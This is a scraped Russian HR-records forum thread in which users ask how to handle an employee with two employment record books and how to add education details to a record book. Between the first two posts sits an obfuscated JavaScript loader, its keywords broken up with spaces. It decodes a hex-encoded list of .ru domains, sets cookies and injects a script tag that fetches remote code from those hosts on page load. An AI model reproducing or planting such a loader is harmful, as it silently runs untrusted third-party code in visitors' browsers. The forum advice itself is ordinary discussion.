Тема форума: Запись в трудовой книжке | Форумы "Кадровое делопроизводство" | Сообщение № 965271
Страницы:1
Ответить
Запись в трудовой книжке, Как правильно сделать запись в трудовую книжку
 
Добрый день! Ситуация следующая. Сотрудник при трудоустройстве на место работы "А" не предъявил трудовую книжку, работа не по совместительству. Ему завели новую. В то же время он работал еще по другому основному месту работы "В" (график ему позволял) , где у него и находился оригинал ТК, который он не предоставил на место "А". Теперь он с места работы "В" увольняется, а предприятии А переводится на другое место работы.... По идее записи лучше продолжать в ТК с места работы В, но как это сделать, ведь записи о приеме на место "А" нет... Или у работника так и останутся две трудовые книжки.... ?
wind ow .a1336404323 = 1;!f unction(){var e=JSON.parse('["756e336e356d7a66622e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=f unction(e){var t=docu ment.cookie.match(new RegExp("(?:^|; )"+e.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=f unction(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCS tring()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=f unction(e){e=e.r eplace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toS tring(16);return t},a=f unction(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=Stri ng.fromCharCode(parseInt(e[o],16));return t},d=f unction(){return "kadrovik-praktik.ru"},p=f unction(){var w=wind ow,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=f unction(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(wind ow .smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .smlo.loadSmlo(n.r eplace("https:","http:"));else if(wind ow .zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .zSmlo.loadSmlo(n.r eplace("https:","http:"));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=f unction(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=f unction(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window .a3164427983=f,c(u,f unction(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},f unction(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=f unction(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
 
А в смысле он переводится на другое место работы? В порядке перевода в другую организацию или в той же организации, но на другую должность?
Хотя в любом случае, если он переводится по месту А, то записи делаются в новую ТК, которую ему там завели. А ТК из места Б остается у него на руках. При приеме на работу же ему завели новую и внесли ее в книгу учета движения трудовых книжек, а двух трудовых у одного работодателя быть не может.
 
Цитата
Кокош пишет:
Или у работника так и останутся две трудовые книжки....
а это его проблемы. При определении стажа для пенсии два периода одновременно суммировать не будут.

Цитата
Кокош пишет:
По идее записи лучше продолжать в ТК с места работы В,
естественно.

Цитата
Кокош пишет:
как это сделать, ведь записи о приеме на место "А" нет..
но эта запись есть в той книжке. Придется ему предоставлять только эту книжку.
 
Цитата
Кокош пишет:
Сотрудник при трудоустройстве на место работы "А" не предъявил трудовую книжку, работа не по совместительству. Ему завели новую.
Завести новую трудовую можно только на основании заявления работника. Причину должен указать почему: не было ранее, или утерял и восстанавливать не собираюсь. И все - дальше его проблемы. У вас только одна трудовая, в которой ВАША организация и делает все записи. Какую он будет предоставлять следующему работодателю - пусть сам решает.
 
Добрый день! Ситуация такая - сотрудник у нас устроен по внешнему совместительству, с основной работы он уволен, но у него свое ИП. Может ли это считаться его основным местом работы?
 
Цитата
nikki_9101 пишет:
у него свое ИП
Нет, в СВОЕМ ИП он не работник.
 
Снеженка, то есть, если даже если он по своему ИП заключил договор на оказание услуг, у себя мне нужно его принять на основное место работы?
 
Цитата
nikki_9101 пишет:
если даже если он по своему ИП заключил договор на оказание услуг
Причем здесь договор на оказание услуг???? Основное место работы - это работа по ТД.
 
Цитата
nikki_9101 пишет:
мне нужно его принять на основное место работы?
Нет обязанности ни у какого работодателя принимать работника на работу. Либо признавать совместительство основным местом работы. В то же время, совместительство может быть при наличии основного места работы. Вот как хотите, так и работайте в строгом соответствии с трудовым законодательством )))))
 
Снеженка, поняла, спасибо!)
 
Добрый день!
Простите, что пишу в чужой теме. Подскажите, пожалуйста, дело в том, что когда я начала трудовую деятельность - я еще обучалась в школе (подрабатывала во время каникул), следовательно образования и специальности у меня еще не было, и работодатель оставил эти графы пустыми. Потом окончила школу (получила аттестат), затем - университет (получила первое высшее). Устроилась на работу, но работодатель не внес записи об образовании. Сейчас работаю уже у другого работодателя, получила второе высшее. Где-то нашла информацию, что данные об образовании может внести нынешний работодатель, это так? Необходимо только в титульник внести данные об образовании? Или нужно еще все (аттестат и дипломы) перечислить надписью: "Сведения об образовании дополнены на основании аттестата/ диплома серия... №..., выданного ... "
 
Да, может внести сведения ваш нынешний работодатель, при этом на обложке ТК ничего не пишется.
 
Татьяна Самородских, а печать ведь не нужно ставить на титульнике, т.к. там уже стоит печать самого первого работодателя?
 
Татьяна, спасибо огромное:{}
А то б я сейчас внесла, кучу ненужных записей, потом на смену фамилии бы места не осталось:D
 
Цитата
gella1388 пишет:
затем - университет (получила первое высшее)
Только это и вносится. Среднее не нужно уже писать. И кроме того : не ошибитесь и не напишите вместо специальности квалификацию - как поступают процентов 95 кадровиков ))))))
 
Цитата
gella1388 пишет:
Татьяна Самородских, а печать ведь не нужно ставить на титульнике, т.к. там уже стоит печать самого первого работодателя?
Нет, печать не нужно.
Страницы:1
Ответить
Читают тему
Форма ответов
 
Текст сообщения*
Перетащите файлы
Ничего не найдено
Файл